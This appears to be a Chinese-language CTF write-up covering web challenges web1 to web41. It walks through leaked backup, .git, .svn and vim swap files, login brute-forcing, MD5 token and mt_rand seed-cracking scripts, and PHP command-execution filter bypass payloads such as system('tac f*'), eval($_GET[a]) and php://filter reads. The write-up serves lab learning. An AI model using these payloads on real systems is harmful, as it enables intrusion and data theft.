web1
直接右键打开,在源代码里
web2
ctrl+u查看源码
web3
打开bp抓包发送直接就得到了
web4
用dirsearch扫描发现txt文件
访问
接着访问得到flag
web5
用dirbuster扫描看看有没有phps源码泄露,发现存在
访问下载文件打开就是flag
web6
用dirsearch扫描发现zip文件
下载
打开查看得到flag
web7
用dirsearch扫描,发现git泄露
访问
web8
直接dirsearch扫描,发现svn泄露
访问
web9
根据题目提示可以知道是vim缓存漏洞
临时文件是在vim编辑文本时就会创建的文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。
以 index.php 为例
第一次产生的缓存文件名为 .index.php.swp
第二次意外退出后,文件名为.index.php.swo
第三次产生的缓存文件则为 .index.php.swn
注意:index前有 " . "
访问index.php.swp下载文件
打开得到flag
web10
打开bp抓包请求直接得到flag
web12
用dirsearch扫描发现,robots.txt文件
查看发现admin路径
访问发现登入框
用户名为admin,密码在页面下方372619038
登入得到flag
web13
在页面下方发现个链接document
点开发现是技术文档,有登入信息
将https改为http在域名后加上system1103/login.php成功进入登入界面
输入用户名密码成功登入
web14
用dirsearch扫描发现有个editor目录
访问发现一个编辑器界面
点击插入文件(插入图片)发现有个文件空间
进入/etc/passwd发现没东西,进入/var/www/html发现有个nothinghere目录进入查看发现flag文件
访问/nothinghere/fl000g.txt得到flag
web15
用dirsearch扫描发现有个admin路径
访问得到一个后台登入系统
先尝试用户名:admin,密码:123456,发现登入失败
点忘记密码发现有个密保问题
滑倒页面最下面有个qq邮箱
查询到号主是陕西西安的
输入西安得到密码
输入密码得到flag
web16
根据题目提示,直接访问/tz.php
点击php信息处的phpinfo
搜索得到flag
web17
用dirsearch扫描发现有个sql文件
下载
查看发现flag
web18
点开源代码发现有个js文件
点开发现胜利条件
搜索后发现是unicode编码
解码
根据谐音110.php
访问得到flag
web19
查看源代码发现php代码
根据代码post传参得到flag
web20
mdb文件是早期asp+access构架的数据库文件
所以直接访问/db/db.mdb
用010打开得到flag
web21
先随便输入用bp抓包
发现一串base64编码
解码发现是输入的用户名和密码
单独加密123456为MTIzNDU2
将题目的字典加入
并用base64加密
开始爆破得到flag
web23
根据代码发现需要满足token的长度条件
#第一种import hashlibdic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:for b in dic:t = str(a)+str(b)md5 = hashlib.md5(t.encode('utf-8')).hexdigest()if md5[1] != md5[14] or md5[14]!= md5[17]:continueif(ord(md5[1]))>=48 and ord(md5[1])<=57 and (ord(md5[31]))>=48 and ord(md5[31])<=57:if((int(md5[1])+int(md5[14])+int(md5[17]))/int(md5[1])==int(md5[31])):print(t)#第二种
import hashlibfor i in range(1,10000):md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()if md5[1] != md5[14] or md5[14]!= md5[17]:continueif(ord(md5[1]))>=48 and ord(md5[1])<=57 and (ord(md5[31]))>=48 and ord(md5[31])<=57:if((int(md5[1])+int(md5[14])+int(md5[17]))/int(md5[1])==int(md5[31])):print(i)
输入token=3j或token=422或token=1202
web24
mt_srand():播种 Mersenne Twister 随机数生成器。
用法:
mt_srand(seed);
intval():获取变量的整数值
根据代码编写脚本
<?php
mt_srand(372619038);
echo intval(mt_rand());
?>
运行得到r
get传参?r=1155388967得到flag
web25
先尝试r=0和r=1
发现返回值逐渐增加1
根据$rand = intval($r)-intval(mt_rand());可知mt_rand()的值为
1593817657
用php_mt_seed工具反推随机数得到种子
用wappalyzer查看一下php版本为7.3.11
选择合适版本的种子放入脚本求token
<?php
mt_srand(2856563738);
$rand = mt_rand();
$rand1 = mt_rand();
$rand2 = mt_rand();
echo $rand,"\n",$rand1,"\n",$rand2,"\n",$rand1+$rand2,"\n\n";
这边rand1和rand2是第二次和第三次生成的mt_rand()的值,由于试过了两个第一次mt_rand的值相加发现不行。
最终输入?r=1593817657,cookie值等于token=2616771822有时候直接2616771822就行
感觉环境有问题没出flag,就不放展示
web26
先随便输入发现没反应,刷新弹窗unfinded
再尝试提示给的,发现弹窗数据库连接失败,说明就是要爆这个数据库需要爆破用户名和密码
尝试改不同地方最后发现只有密码是不对的(只有单独改密码有弹窗)
故爆破密码,密码为775821(爆破的时候可以尝试多个字典)
web27
进去发现可以下载个名单
有个查询平台
进行身份证的爆破由于身份证中间的部分刚好是生日年月日,所以直接用日期爆破
生日为19900201
爆破出信息再在登入平台登入即可得到一串unicode编码
\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801
解码
输入后得到flag
感觉环境问题抓包抓不到名字和身份证所以直接看了别人的wp,但是思路是没错的
web28
这边看见路径有个0/1/2.txt感觉应该是要爆破这个
先尝试一下改变1.txt发现返回到2.txt且会产生很长的路径
说明要爆破的应该就是这个由于爆2.txt会比较麻烦所以先爆破前面两个(如果不行就再爆破2,最后再选择爆破txt,爆破要由简入杂)
用cluster bomb模式爆破0和1,先试0到100
发现调到1000都没有,将2.txt去掉试试(/先保留),得到flag
web29
方法一:
根据代码直接传参?c=system("ls");查看当前页面下的目录发现flag.php
由于flag被禁用,所以用?c=system(cat f*);发现没有回显cat可能也被禁用了,所以用 ?c=system(tac f*);成功得到flag
方法二:?c=echo `tac f*`;
方法三:?c=eval($_GET[a]);&a=system("tac f*");
方法四:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
方法五:?c=system("cp fl*g.php a.txt"); 再访问a.txt即可
方法六:?c=tac f* | tee 1.txt; 再访问1.txt即可
web30
多了个system和php禁用web29的选一种合适的方法用
web31
web32
web33
web34
web35
web36
web37
<?php system('cat flag.php');?>
查看源代码
web38
查看源代码
web39
查看源代码
web40
法一:
?c=eval(array_pop(next(get_defined_vars())));
POST传参a=system('tac fl*');
get_defined_vars() :返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next():将内部指针指向数组中的下一个元素,并输出。
array_pop(): 删除数组中的最后一个元素并返回其值。
法二:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为".";
pos():输出数组第一个元素,不改变指针;
current() :返回数组中的当前元素(单元),默认取第一个值,可以代替pos();
scandir():返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录;
array_reverse():数组逆置;
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以;
show_source():查看源码;
getcwd() :返回当前工作目录。可以代替pos(localeconv())。
web41